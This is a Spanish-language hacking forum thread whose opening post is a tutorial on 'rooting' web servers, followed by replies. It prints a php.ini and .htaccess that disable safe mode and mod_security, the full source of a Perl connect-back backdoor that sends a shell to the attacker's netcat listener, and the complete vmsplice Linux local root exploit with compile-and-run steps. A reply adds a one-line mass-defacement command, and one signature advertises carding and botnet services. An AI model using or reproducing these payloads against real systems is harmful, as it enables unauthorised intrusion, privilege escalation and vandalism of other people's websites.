ENTRAR EN EL FOROHACK ANTIGUO (Muchos temas viejos y de menor nivel)
13:39:21 17/10/2019
¿No estas registrado?
Login: Clave:
3 Usuarios en línea: 0 registrados, 3 invitados.
Conéctate y verás los usuarios en línea
Tema: Rooteando un servidor by Root admin 2 votos2 votos2 votos2 votos2 votos
    Responder
Todos Los Foros -> Defacing -> Tutoriales -> Rooteando un servidor by Root admin
Autor Mensaje (Ver Versión para Imprimir)
Root admin
Usuario novato
Arreglando las imágenes

Mensajes: 5
Registrad@:
11/05/2009
Estado: Desconectad@
Ver último Post
Rooteando un servidor by Root admin

Buenas a todos, ahora voy a explicar lo facir que es Rootear un servidor web.

Bueno lo primero que haremos es buscar una pagina web vurnerable a LFI,RFI,SQL, o cualquier vurnerabilidad que podramos ejecutar comandos en el servidor.

Nota: En este tema me concentrare nomas en poder rootear un servidor, no otra
cosa.

Bueno cuando tengamos una web vurnerable para mas facilidad subimos una phpshell, sea la c99, r57, c100,locus,etc... A mi personal mente me gusta la Locus, bueno cuando tengamos subidas la phpshell, tenemos que tener encuenta algunas cosas.

Que debemos ver si el Safe mode esta
ON, bueno mayormente en los servidores el Safe mode esta activado, ps nos toca saber como bypassear el Safe mode o desactivarlo en el directorio donde esta la shell.

Bueno aqui os contare algunas formas.

Pueden usar un exploit que vulnere la version php que esta usando el servidor. Bueno pueden preguntarle a google haver que les dices jejeje
ps tienen que saber usar google, mirenlo de esta forma, ustedes tienen una pregunta y quieren que le conteste la duda que tienes rapido, pos van a
www.google.com y le hasen la pregunta y el os respondera a sus inquietudes
asi de facir xD. Bueno una vez que tengamos el exploit que vurnere la version php que esta usando el servidor web lo ejecutamos, subir el code al servidor web y ejecutarlo o podemos ejecutarlo de forma mas rapido en la php shell, en este caso usando la shell c99 hay una opcion que dice:
PHP-CODE vamos hay y ejecutamos el exploit y listo.

Otra manera es creando un archivo php.ini que desactive el safe mode en el directorio que esta nuestra shell.

El source del php.ini es la siguiente:

CÓDIGO

[PHP>
register_globals = On
engine = On
safe_mode = Off
safe_mode_exec_dir = On
safe_mode_include_dir =On[/cita>


Bueno otro que debemos bypassear es el Mode Security, podemos editar
el archivo .htaccess del servidor, y ponemos lo siguiente:

CÓDIGO
<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckUnicodeEncoding Off
&/IfModule>


Oka ia con eso nomas quedan minutos para tener acceso total al servidor
osea ser Root.

Subiendo Backdoor, bueno podemos usar la Datacha0s, o cualquiera. Aqui dejo el source de una backdoor:

CÓDIGO

#!/usr/bin/perl
use Socket;
print "Data Chaos Connect Back Backdoor\n";
if (!$ARGV[0>) {
printf "Usage: $0 [Host> \n";
exit(1);
}
print "[+> Dumping Arguments\n";
$host = $ARGV[0>;
$port = 80;
if ($ARGV[1>) {
$port = $ARGV[1>;
}
print "[+> Connecting...\n";
$proto = getprotobyname('tcp') or die("Unknown Protocol\n");
socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("Socket Error\n");
my $target = inet_aton($host);
if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
die("Unable to Connect\n");
}
print "[+>Spawning Sh3ll\n";
if (!fork( )) {
open(STDIN,">&SERVER");
open(STDOUT,">&SERVER");
open(STDERR,">&SERVER");
exec {'/bin/sh'} '-bash' . "\0" x 4;
exit(0);
}
print "[+>Datached\n";


los guardamos y lo subimos al servidor.

Una vez subida nos farta otra cosita.

Vamos a usar el netca en esta ocasion.


color=red>
Nota



Pero antes otra cosa muy inportante, vamos al servidor y ejecutamos el siguiente source:

CÓDIGO
netstat -na


Es para saber los puertos abierto que tiene la pagina web, luego si usamos un Router vamos a la configuracion y abrimos los puerto que tiene el serve abierto, io siempre habro el puerto 110, casi siempre lo tienen abiero,
y por seguridad cuando terminen de rootear el servidor lo pueden cerrar.

oka cuando habramos el puerto en este caso el 110, vamos al netca y escribimos lo siguiente:

nc -vvlp 110

y nos respondera lo siguiente:

listening on [any> 110 ...

Bueno quiere decir dejamos el puerto 110 a la escucha de posible coneciones entrante al puerto 110, no olviden desactivar el firewall.

Oka despues vamos al servidor y ejecutamos el siguiente code:

CÓDIGO

perl backdoor.pl tu ip port


CÓDIGO

perl backdoor.pl 138.65.17.8 110


Van a   www.cual-es-mi-ip.net y dira la ip publica que tienen, nota
no ponga la ip privada, porque no conectara, porque el servidor y uste no estan en la misma red.

Luego que ejecutemos el source:


CÓDIGO

perl backdoor.pl 138.65.17.8 110


Miramos el netca haver si nos conecto, si nos conecto dira
lo siguiente:

CÓDIGO

connect to [xxx.xxx.x.x> from pagina.com [xxx.xxx.x.x> 50673


Nota: donde estan las xxx.xxx.x.x. es una ip jejej no se confunda en esas cosas.

Luego de que el servidor se nos conecta ejecutamos el siguiente source:

CÓDIGO

pwd;uname -a


Pwd, nos dice el directorio que estamos, uname -a nos dice el sistema operativo que esta usando el servidor, la version del kernel y otra cosita
mas.

Bueno en este caso nos podria decir lo siguiente:
CÓDIGO

/home/pagina.net/public_html/images
Linux ushost.com.cn 2.6.18-92.el5 #1 SMP Tue Jun 10 18:51:06 EDT 2008 x86_6
4 x86_64 x86_64 GNU/Linux



Bueno nos dice que el SO que esta usando el servidor es linux y la version del kernel es 2.6.18, oka con eso basta.

Vamos a http://www.milw0rm.com o a cualquier web, que nos pueda dar un root exploit para esa version.

buscamos un root exploit para linux con la version del kernel 2.6.18 y lo buscamos en www.milw0rm.com, en este caso usamos este.

CÓDIGO

/*
* jessica_biel_naked_in_my_bed.c
*
* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
* Stejnak je to stare jak cyp a aj jakesyk rozbite.
*
* Linux vmsplice Local Root Exploit
* By qaaz
*
* Linux 2.6.17 - 2.6.24.1
*
* This is quite old code and I had to rewrite it to even compile.
* It should work well, but I don't remeber original intent of all
* the code, so I'm not 100% sure about it. You've been warned ;)
*
* -static -Wno-format   
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <asm/page.h>
#define __KERNEL__
#include <asm/unistd.h>

#define PIPE_BUFFERS 16
#define PG_compound 14
#define uint unsigned int
#define static_inline static inline __attribute__((always_inline))
#define STACK(x) (x + sizeof(x) - 40)

struct page {
unsigned long flags;
int count;
int mapcount;
unsigned long private;
void *mapping;
unsigned long index;
struct { long next, prev; } lru;
};

void exit_code();
char exit_stack[1024 * 1024>;

void die(char *msg, int err)
{
printf(err ? "[-> %s: %s\n" : "[-> %s\n", msg, strerror(err));
fflush(stdout);
fflush(stderr);
exit(1);
}

#if defined (__i386__)

#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif

#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246

static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
      "i" (USER_CS), "r" (exit_code)
);
}

static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}

#elif defined (__x86_64__)

#ifndef __NR_vmsplice
#define __NR_vmsplice 278
#endif

#define USER_CS 0x23
#define USER_SS 0x2b
#define USER_FL 0x246

static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"swapgs ;"
"movq %0, 0x20(%%rsp) ;"
"movq %1, 0x18(%%rsp) ;"
"movq %2, 0x10(%%rsp) ;"
"movq %3, 0x08(%%rsp) ;"
"movq %4, 0x00(%%rsp) ;"
"iretq"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
      "i" (USER_CS), "r" (exit_code)
);
}

static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movq %%gs:(0), %0"
: "=r" (curr)
);
return (void *) curr;
}

#else
#error "unsupported arch"
#endif

#if defined (_syscall4)
#define __NR__vmsplice __NR_vmsplice
_syscall4(
long, _vmsplice,
int, fd,
struct iovec *, iov,
unsigned long, nr_segs,
unsigned int, flags)

#else
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif

static uint uid, gid;

void kernel_code()
{
int i;
uint *p = get_current();

for (i = 0; i < 1024-13; i++) {
if (p[0> == uid && p[1> == uid &&
      p[2> == uid && p[3> == uid &&
      p[4> == gid && p[5> == gid &&
      p[6> == gid && p[7> == gid) {
p[0> = p[1> = p[2> = p[3> = 0;
p[4> = p[5> = p[6> = p[7> = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0> = p[1> = p[2> = ~0;
break;
}
p++;
}

exit_kernel();
}

void exit_code()
{
if (getuid() != 0)
die("wtf", 0);

printf("[+> root\n");
putenv("HISTFILE=/dev/null");
execl("/bin/bash", "bash", "-i", NULL);
die("/bin/bash", errno);
}

int main(int argc, char *argv[>)
{
int pi[2>;
size_t map_size;
char * map_addr;
struct iovec iov;
struct page * pages[5>;

uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);

printf("-----------------------------------\n");
printf(" Linux vmsplice Local Root Exploit\n");
printf(" By qaaz\n");
printf("-----------------------------------\n");

if (!uid || !gid)
die("!@#$", 0);

/*****/
pages[0> = *(void **) &(int[2>){0,PAGE_SIZE};
pages[1> = pages[0> + 1;

map_size = PAGE_SIZE;
map_addr = mmap(pages[0>, map_size, PROT_READ | PROT_WRITE,
                        MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);

memset(map_addr, 0, map_size);
printf("[+> mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+> page: 0x%lx\n", pages[0>);
printf("[+> page: 0x%lx\n", pages[1>);

pages[0>->flags      = 1 << PG_compound;
pages[0>->private   = (unsigned long) pages[0>;
pages[0>->count      = 1;
pages[1>->lru.next = (long) kernel_code;

/*****/
pages[2> = *(void **) pages[0>;
pages[3> = pages[2> + 1;

map_size = PAGE_SIZE;
map_addr = mmap(pages[2>, map_size, PROT_READ | PROT_WRITE,
                        MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);

memset(map_addr, 0, map_size);
printf("[+> mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+> page: 0x%lx\n", pages[2>);
printf("[+> page: 0x%lx\n", pages[3>);

pages[2>->flags      = 1 << PG_compound;
pages[2>->private   = (unsigned long) pages[2>;
pages[2>->count      = 1;
pages[3>->lru.next = (long) kernel_code;

/*****/
pages[4> = *(void **) &(int[2>){PAGE_SIZE,0};
map_size = PAGE_SIZE;
map_addr = mmap(pages[4>, map_size, PROT_READ | PROT_WRITE,
                        MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+> mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+> page: 0x%lx\n", pages[4>);

/*****/
map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
                        MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);

memset(map_addr, 0, map_size);
printf("[+> mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

/*****/
map_size -= 2 * PAGE_SIZE;
if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
die("munmap", errno);

/*****/
if (pipe(pi) < 0) die("pipe", errno);
close(pi[0>);

iov.iov_base = map_addr;
iov.iov_len   = ULONG_MAX;

signal(SIGPIPE, exit_code);
_vmsplice(pi[1>, &iov, 1, 0);
die("vmsplice", errno);
return 0;
}

// milw0rm.com [2008-02-09>


lo guardamos exploit.c

y lo subimos al servidor mediante la phpshell, asi es mas rapido y mas comodo.

Vamos al netca y escribimos lo siguiente:

gcc exploit.c -o exploit

Hay lo compilamos.

chmod 777 exploit

Hay le damos permiso para poder ejecutarlo.

Luego para ejecutarlo hasemos lo siguiente:

./exploit

y luego de ejecutarlo escribimos
id y nos tiene que mostrar lo siguiente:

uid=0(root) gid=0(root) groups=57(apache)

si aparece lo siguiente esque ya somos usuarios root y tenemos el control total del servidor.

Bueno esto es todo hasta la proxima y saludos a todos.





11/05/2009 21:34:50 
roller0
Maestro Nivel 4
Arreglando las imágenes

Mensajes: 733
Registrad@:
29/06/2007
Estado: Desconectad@
Ir Arriba
RE: Rooteando un servidor by Root admin

buen aporte!

parece sencillo no?


¡¡¡¡¡¡¡¡CaMPeaNDo eN eL CORTE INGLESSSSSS!!!!!!!!
13/05/2009 11:37:18 
Root admin
Usuario novato
Arreglando las imágenes

Mensajes: 5
Registrad@:
11/05/2009
Estado: Desconectad@
Ir Arriba
RE: Rooteando un servidor by Root admin

Gracias man, si en realidad es sencillo, cuando te acostumbra ia nomas el servidor te conecta a ti y despues hasta todo lo puedes haser desde el netca jejeje, pero con la phpshell no se complica tanto las cosas y se utilisa menos comandos.
13/05/2009 13:08:26 
night crawler
Aprendiz nivel 3
Arreglando las imágenes

Mensajes: 82
Registrad@:
27/10/2007
Estado: Desconectad@
Ir Arriba
RE: Rooteando un servidor by Root admin

Muy buen tuto, me gustó mucho, aunque no termine de entenderlo muy bien =S xDD todavía tengo bastante que aprender, pero aun asi me parece que merece la pena leer el tuto x)

10 Estrellas

Salu2!

14/05/2009 00:39:37 
Root admin
Usuario novato
Arreglando las imágenes

Mensajes: 5
Registrad@:
11/05/2009
Estado: Desconectad@
Ir Arriba
RE: Rooteando un servidor by Root admin

Gracias pana, pero podes comentar tus dudas y te se respondera, para eso estamos aqui.
14/05/2009 01:44:44 
StAt1k
Usuario novato

Mensajes: 5
Registrad@:
21/01/2009
Estado: Desconectad@
Ir Arriba
RE: Rooteando un servidor by Root admin

Para subir una shell en php , debemos buskar una carpeta que tenga los permisos chmodd77 si no no funcionara casi siempre /tmp/


Ahora explikare lo que sigue, Mass Deface_

Pimero que nada hacemos un index, en la carpeta /tmp/ o deonde sean ya que son root. xD

Una vez hecho lo que r00tadmin nos dice, nos toka ver que webs tiene alojadas ese servidor: lo hacemos de esta manera:

find / -name httpd.conf

si el httpd.conf
esta en el directorio /home/asisi/

usamos el comando:

cat /home/asisi/httpd.conf|grep ServerName

y asi veremos los dominios, los copiamos y los guardamos en un .txt
ahora buscaremos todos los index de cada web,

find /home/ -name "index.*" -exec cp /tmp/index.html {} \;

los pongo en home por que casi siempre se encuentran ahi, ahora de esta manera todos los index de las webs alojadas, se sustituiran por el index que tenemos en el /tmp/ o en la carpeta donde lo subieron.

Despues pondre como borrar logs,




15/05/2009 03:06:35 
Root admin
Usuario novato
Arreglando las imágenes

Mensajes: 5
Registrad@:
11/05/2009
Estado: Desconectad@
Ir Arriba
RE: Rooteando un servidor by Root admin

CITA
Para subir una shell en php , debemos buskar una carpeta que tenga los permisos chmodd77 si no no funcionara casi siempre /tmp/


Ahora explikare lo que sigue, Mass Deface_

Pimero que nada hacemos un index, en la carpeta /tmp/ o deonde sean ya que son root. xD

Una vez hecho lo que r00tadmin nos dice, nos toka ver que webs tiene alojadas ese servidor: lo hacemos de esta manera:

find / -name httpd.conf

si el httpd.conf
esta en el directorio /home/asisi/

usamos el comando:

cat /home/asisi/httpd.conf|grep ServerName

y asi veremos los dominios, los copiamos y los guardamos en un .txt
ahora buscaremos todos los index de cada web,

find /home/ -name "index.*" -exec cp /tmp/index.html {} \;

los pongo en home por que casi siempre se encuentran ahi, ahora de esta manera todos los index de las webs alojadas, se sustituiran por el index que tenemos en el /tmp/ o en la carpeta donde lo subieron.

Despues pondre como borrar logs,


Buenas hermanos, no es necesario que se suba en la carpeta /tmp/(archivos temporales) porque desde que el servidor te conecta, podes darle permiso de ejecucion, gracias de todos modo.
15/05/2009 23:50:44 
StAt1k
Usuario novato

Mensajes: 5
Registrad@:
21/01/2009
Estado: Desconectad@
Ir Arriba
RE: Rooteando un servidor by Root admin

asi es men : pero yo hablaba especificamente de esta parte:

CITA
Bueno cuando tengamos una web vurnerable para mas facilidad subimos una phpshell, sea la c99, r57, c100,locus,etc... A mi personal mente me gusta la Locus, bueno cuando tengamos subidas la phpshell, tenemos que tener encuenta algunas cosas.
ahi es donde se sube la shell en /tmp/
16/05/2009 00:16:07 
Root admin
Usuario novato
Arreglando las imágenes

Mensajes: 5
Registrad@:
11/05/2009
Estado: Desconectad@
Ir Arriba
RE: Rooteando un servidor by Root admin

CITA

asi es men : pero yo hablaba especificamente de esta parte:

CITA
Bueno cuando tengamos una web vurnerable para mas facilidad subimos una phpshell, sea la c99, r57, c100,locus,etc... A mi personal mente me gusta la Locus, bueno cuando tengamos subidas la phpshell, tenemos que tener encuenta algunas cosas.
ahi es donde se sube la shell en /tmp/


a oka disculpa man, pero hay un problemita, si tienes una web y encuentras un upload uno no podra subir la shell o cualquier code donde uno desee, el php code se subira en el directorio que indica el upload.
17/05/2009 03:56:36 
SPQR
Aprendiz nivel 3

Mensajes: 80
Registrad@:
29/04/2009
Estado: Desconectad@
Ir Arriba
RE: Rooteando un servidor by Root admin

CITA
con la phpshell no se complica tanto las cosas y se utilisa menos comandos.


      Emm segun se con una shell en php no se puede rootear   nada

   o me ekivoko?
28/06/2009 15:21:03 
.DeMoNy.
Maestro Nivel 1

Mensajes: 324
Registrad@:
22/01/2009
Estado: Desconectad@
Ir Arriba
RE: Rooteando un servidor by Root admin

Hay que diferenciar entre shells del sistema y shells php xej... Mientras que la de sistema se usan para rotear servidores, y se comunican directamente con cmd o con la shell de linux... una shell php de defacing lo que hace es como leí una vez por ahi, un comunicador entre la shell y nosotros.

Nose si me explico

Saludos!


28/06/2009 22:22:49 
carlosital
Usuario muy espontáneo
Sin Imagen

Mensajes: 1
Registrad@:
28/10/2011
Estado: Desconectad@
Ir Arriba
RE: Rooteando un servidor by Root admin

Hola ya e seguido los pasos, pero en el paso final cuando me conecto al servidor solo dura como 5 segundos, la conexion se cae, y el netcat se queda a la escucha, por que sera que se desconecta??? saludos espero me puedan responder
28/10/2011 10:45:08 
taer
Aprendiz nivel 1

Mensajes: 28
Registrad@:
29/07/2011
Estado: Desconectad@
Ir Arriba
RE: Rooteando un servidor by Root admin

muy nuen tutorial , gracias y saludos


Servicios para carders profesionales> SSL proxy .VPN, Botnet Setup, Cripting Privado y mucho mas!
23/02/2012 06:56:05 


REGÍSTRATE PARA PODER ENVIAR UN MENSAJE (tardas 20 segundos)

Copyright ForoHack.com